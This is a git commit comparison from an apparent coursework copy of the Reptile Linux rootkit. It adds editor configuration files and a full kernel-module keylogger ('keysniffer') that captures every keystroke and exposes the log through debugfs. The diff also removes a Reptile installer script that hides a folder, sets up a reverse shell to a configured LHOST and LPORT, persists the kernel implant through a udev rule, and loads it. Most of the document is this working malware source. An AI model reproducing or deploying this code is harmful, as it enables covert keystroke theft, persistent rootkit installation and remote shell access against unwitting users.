Compare commits
44 Commits
@ -0,0 +1,18 @@
|
||||
{
|
||||
"configurations": [
|
||||
{
|
||||
"name": "windows-gcc-x64",
|
||||
"includePath": [
|
||||
"${workspaceFolder}/**"
|
||||
],
|
||||
"compilerPath": "E:/DEV-C++/Dev-Cpp/MinGW64/bin/gcc.exe",
|
||||
"cStandard": "${default}",
|
||||
"cppStandard": "${default}",
|
||||
"intelliSenseMode": "windows-gcc-x64",
|
||||
"compilerArgs": [
|
||||
""
|
||||
]
|
||||
}
|
||||
],
|
||||
"version": 4
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{
|
||||
"name": "C/C++ Runner: Debug Session",
|
||||
"type": "cppdbg",
|
||||
"request": "launch",
|
||||
"args": [],
|
||||
"stopAtEntry": false,
|
||||
"externalConsole": true,
|
||||
"cwd": "e:/专业课/reptile/src/Reptile/kernel",
|
||||
"program": "e:/专业课/reptile/src/Reptile/kernel/build/Debug/outDebug",
|
||||
"MIMode": "gdb",
|
||||
"miDebuggerPath": "gdb",
|
||||
"setupCommands": [
|
||||
{
|
||||
"description": "Enable pretty-printing for gdb",
|
||||
"text": "-enable-pretty-printing",
|
||||
"ignoreFailures": true
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
@ -1,3 +1,6 @@
|
||||
{
|
||||
"Codegeex.RepoIndex": true
|
||||
"Codegeex.RepoIndex": true,
|
||||
"files.associations": {
|
||||
"dialog.h": "c"
|
||||
}
|
||||
}
|
Before Width: | Height: | Size: 303 KiB |
Binary file not shown.
@ -0,0 +1,141 @@
|
||||
#include <linux/init.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/module.h>
|
||||
#include <linux/keyboard.h>
|
||||
#include <linux/debugfs.h>
|
||||
|
||||
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
|
||||
|
||||
/* Declarations */
|
||||
static struct dentry *file;
|
||||
static struct dentry *subdir;
|
||||
|
||||
static ssize_t keys_read(struct file *filp,
|
||||
char *buffer,
|
||||
size_t len,
|
||||
loff_t *offset);
|
||||
|
||||
static int keysniffer_cb(struct notifier_block *nblock,
|
||||
unsigned long code,
|
||||
void *_param);
|
||||
|
||||
/* Keymap */
|
||||
static const char *us_keymap[][2] = {
|
||||
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
|
||||
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
|
||||
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
|
||||
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
|
||||
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
|
||||
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
|
||||
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
|
||||
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
|
||||
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
|
||||
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
|
||||
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
|
||||
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
|
||||
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
|
||||
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
|
||||
{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
|
||||
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
|
||||
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
|
||||
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
|
||||
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
|
||||
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
|
||||
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
|
||||
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
|
||||
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
|
||||
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
|
||||
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
|
||||
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
|
||||
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
|
||||
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
|
||||
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
|
||||
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
|
||||
};
|
||||
|
||||
static size_t buf_pos;
|
||||
static char keys_buf[BUF_LEN] = {0};
|
||||
|
||||
const struct file_operations keys_fops = {
|
||||
.owner = THIS_MODULE,
|
||||
.read = keys_read,
|
||||
};
|
||||
|
||||
static ssize_t keys_read(struct file *filp,
|
||||
char *buffer,
|
||||
size_t len,
|
||||
loff_t *offset)
|
||||
{
|
||||
return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
|
||||
}
|
||||
|
||||
static struct notifier_block keysniffer_blk = {
|
||||
.notifier_call = keysniffer_cb,
|
||||
};
|
||||
|
||||
/* Keypress callback */
|
||||
int keysniffer_cb(struct notifier_block *nblock,
|
||||
unsigned long code,
|
||||
void *_param)
|
||||
{
|
||||
size_t len;
|
||||
struct keyboard_notifier_param *param = _param;
|
||||
const char *pressed_key;
|
||||
|
||||
/* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
|
||||
code, param->down, param->shift, param->value); */
|
||||
|
||||
if (!(param->down))
|
||||
return NOTIFY_OK;
|
||||
|
||||
if (param->value >= 0x1 && param->value <= 0x77) {
|
||||
pressed_key = param->shift
|
||||
? us_keymap[param->value][1]
|
||||
: us_keymap[param->value][0];
|
||||
if (pressed_key) {
|
||||
len = strlen(pressed_key);
|
||||
|
||||
if ((buf_pos + len) >= BUF_LEN) {
|
||||
memset(keys_buf, 0, BUF_LEN);
|
||||
buf_pos = 0;
|
||||
}
|
||||
|
||||
strncpy(keys_buf + buf_pos, pressed_key, len);
|
||||
buf_pos += len;
|
||||
keys_buf[buf_pos++] = '\n';
|
||||
|
||||
/* pr_debug("%s\n", pressed_key; */
|
||||
}
|
||||
}
|
||||
|
||||
return NOTIFY_OK;
|
||||
}
|
||||
|
||||
static int __init keysniffer_init(void)
|
||||
{
|
||||
buf_pos = 0;
|
||||
|
||||
subdir = debugfs_create_dir("kisni", NULL);
|
||||
if (IS_ERR(subdir))
|
||||
return PTR_ERR(subdir);
|
||||
if (!subdir)
|
||||
return -ENOENT;
|
||||
|
||||
file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
|
||||
if (!file) {
|
||||
debugfs_remove_recursive(subdir);
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
register_keyboard_notifier(&keysniffer_blk);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void __exit keysniffer_exit(void)
|
||||
{
|
||||
unregister_keyboard_notifier(&keysniffer_blk);
|
||||
debugfs_remove_recursive(subdir);
|
||||
}
|
||||
|
||||
module_init(keysniffer_init);
|
||||
module_exit(keysniffer_exit);
|
@ -1,65 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
function random_gen_dec {
|
||||
RETVAL=$(shuf -i 50-99 -n 1)
|
||||
}
|
||||
|
||||
PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
|
||||
[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
|
||||
source "${BASH_SOURCE%/*}/../.config" || \
|
||||
{ echo "Error: no .config file found!"; exit; }
|
||||
|
||||
UDEV_DIR=/lib/udev
|
||||
random_gen_dec && NAME=$RETVAL-$HIDE.rules
|
||||
RULE=/lib/udev/rules.d/$NAME
|
||||
[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
|
||||
|
||||
# Create Reptile's folder
|
||||
mkdir -p /$HIDE && \
|
||||
|
||||
# Copy "cmd" binary
|
||||
cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
|
||||
|
||||
# Copy "shell" binary
|
||||
cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
|
||||
|
||||
# Copy "bashrc"
|
||||
cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
|
||||
|
||||
# Create start script
|
||||
cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
|
||||
if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
|
||||
sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
|
||||
true || false;
|
||||
fi
|
||||
|
||||
# Permissions
|
||||
chmod 777 /$HIDE/* && \
|
||||
|
||||
# Copy kernel implant
|
||||
cp $PWD/../output/reptile /$HIDE/$HIDE && \
|
||||
|
||||
# Make persistent
|
||||
cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
|
||||
cp $PWD/../scripts/rule $RULE && \
|
||||
|
||||
# cleaning output dir
|
||||
rm -rf $PWD/../output && \
|
||||
|
||||
# Load Reptile
|
||||
/$HIDE/$HIDE && \
|
||||
|
||||
echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
|
||||
|
||||
# How to Uninstall
|
||||
echo -e "UNINSTALL:\n"
|
||||
echo -e "/$HIDE/$HIDE""_cmd show"
|
||||
echo -e "rmmod reptile_module"
|
||||
echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
|
||||
echo
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Loading…
Reference in new issue